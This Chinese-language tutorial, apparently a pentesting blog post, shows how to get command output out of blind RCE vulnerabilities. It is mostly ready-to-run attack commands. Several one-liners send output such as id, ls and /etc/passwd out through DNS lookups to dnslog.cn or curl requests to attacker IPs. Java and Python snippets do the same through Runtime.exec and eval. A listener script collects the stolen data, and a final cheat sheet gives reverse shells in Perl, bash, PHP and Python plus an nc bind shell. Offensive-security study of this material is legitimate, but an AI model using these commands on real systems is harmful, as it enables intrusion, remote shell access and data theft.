命令执行回显

1.简介

  • 在很多时候我们拿到一个RCE漏洞时可能存在没有回显的利用链,那么在这时,就需要我们通过出网,将我们执行命令的结果外带出来,以此来观察执行命令的结果。
  • 其中我们主要是通过输入“$(cmd)”可以将执行命令的结果以请求参数的形式外带出来。

2.外网dnslog

获取dnslog https://dnslog.cn/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

$ dig $(echo -n $(id) | base64 | head -c 63).g8mpq4.dnslog.cn
# 命令解读, dig 解析域名 ,$() 调用返回结果作为参数调用,id 需要命令执行字符串,BASE64 将$(id)执行的结果进行BASE64编码,便于传输,head -c 63 只输出前0-63个字符,如果不足则全部输出

# 如果说只需要取其中一段命令结果
$ echo -n $(cat /etc/passwd) | base64 | head -c 127 | cut -c 64-
# 这样就可以取到64到127的BASE64的字符串了,cut -c 64- 表示从第64个字符开始到最后一个字符也就是head -c 限制的128个字符。

$ GOAL="http://192.168.0.181:8888/?a=" && curl $GOAL$(echo -n $(ls) | base64 | sed ':a;N;$!ba;s#\n#'"& ${GOAL}"'#g')

# 命令BASE64多组返回
$ GOAL="http://192.168.0.181:8888/" && curl $GOAL$(echo -n $(cat request.txt) | base64 | sed ':a;N;$!ba;s#\n#'"& ${GOAL}"'#g')

$ GOAL="http://192.168.100.1:8888/" && curl $GOAL$(echo -n $(cat request.txt | base64) | sed 's# #'"& ${GOAL}"'#g')
# python 执行代码
# __import__('os').system('GOAL=\"http://192.168.100.1:8181/\" && curl $GOAL$(echo -n $(cat /etc/passwd | base64) | sed \'s# #\'\"& ${GOAL}\"\'#g\')')

# http://192.168.100.136:8080/?cmd=__import__('os').system('curl -d "a=$(ls)" http://192.168.100.1:8000')
# 通过POST发送请求
$ curl -d '$(whoami)' http://192.168.100.1:8000

image-20240422164655524

将获取到的参数进行BASE64解码

image-20240422164835287

3.内网http服务请求参数回显

服务器开启python http服务

1
2
3
4
# python3
$ python -m http.server 11011
# python2
$ python -m SimpleHTTPServer 11011
1
$ curl http://XXX.XXX.XX.XXX:11011/?echo=$(echo -n $(id) | base64 | head -c 63)

image-20240422165833758

image-20240422165931370

同样将请求的参数进行BASE64解码,结果相同

  • 开启一个简单POST参数获取程序
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from http.server import BaseHTTPRequestHandler, HTTPServer


class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):

def do_POST(self):
# 读取请求体内容
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
print("CMD ECHO:\n", post_data.decode('utf-8'))

# 发送响应
self.send_response(200)
self.end_headers()
self.wfile.write("error".encode('utf-8'))


def run(server_class=HTTPServer, handler_class=SimpleHTTPRequestHandler, port=8000):
server_address = ('', port)
httpd = server_class(server_address, handler_class)
print(f"Starting httpd server on port {port}")
httpd.serve_forever()


if __name__ == '__main__':
run()
  • 发送通过post请求获取请求参数
1
2
# 通过POST发送请求
$ curl -d '$(whoami)' http://192.168.100.1:8000

java示例(dnslog同理)

1
2
3
4
5
6
7
import java.io.IOException;

public class MainExec {
public static void main(String[] args) throws IOException {
java.lang.Runtime.getRuntime().exec(new String[] {"/bin/bash","-c","curl http://124.220.32.205:11011/?$(echo -n $(id) | base64)"});
}
}

python示例(dnslog同理)

1
2
3
4
5
command = "__import__('os').system('curl http://124.220.32.205:11011/?$(echo -n $(id) | base64 | head -c 63)')"

if __name__ == '__main__':
list2 = eval(command)
print(list2)

3.netcat 连接

反向连接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 攻击机nc 监听
$ nc -lvp 6000

# 服务端靶机执行 其中一个即可连接
$ perl -e 'use Socket;$i="XXX.XXX.XXX.XXX";$p=6000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

$ /bin/bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/6000 0>&1

$ php -r '$sock=fsockopen("XXX.XXX.XXX.XXX",6000);exec("/bin/sh -i <&3 >&3 2>&3");'

$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("XXX.XXX.XXX.XXX",6000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
# windows

$ python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.100.128", 6000));proc=subprocess.Popen("cmd.exe",stdin=s, stdout=s, stderr=s,shell=True);proc.communicate();'
  • kali nc监听端口 6666

image-20240424095217291

  • 靶机连接攻击机

image-20240424095542075

  • kali上线成功

image-20240424095637370

正向连接

  • 需要目标机器有nc工具
1
2
3
4
# 靶机
$ nc -l -p 9999 -e /bin/sh
# 攻击机
$ nc -nv XXX.XX.X.XXX 9999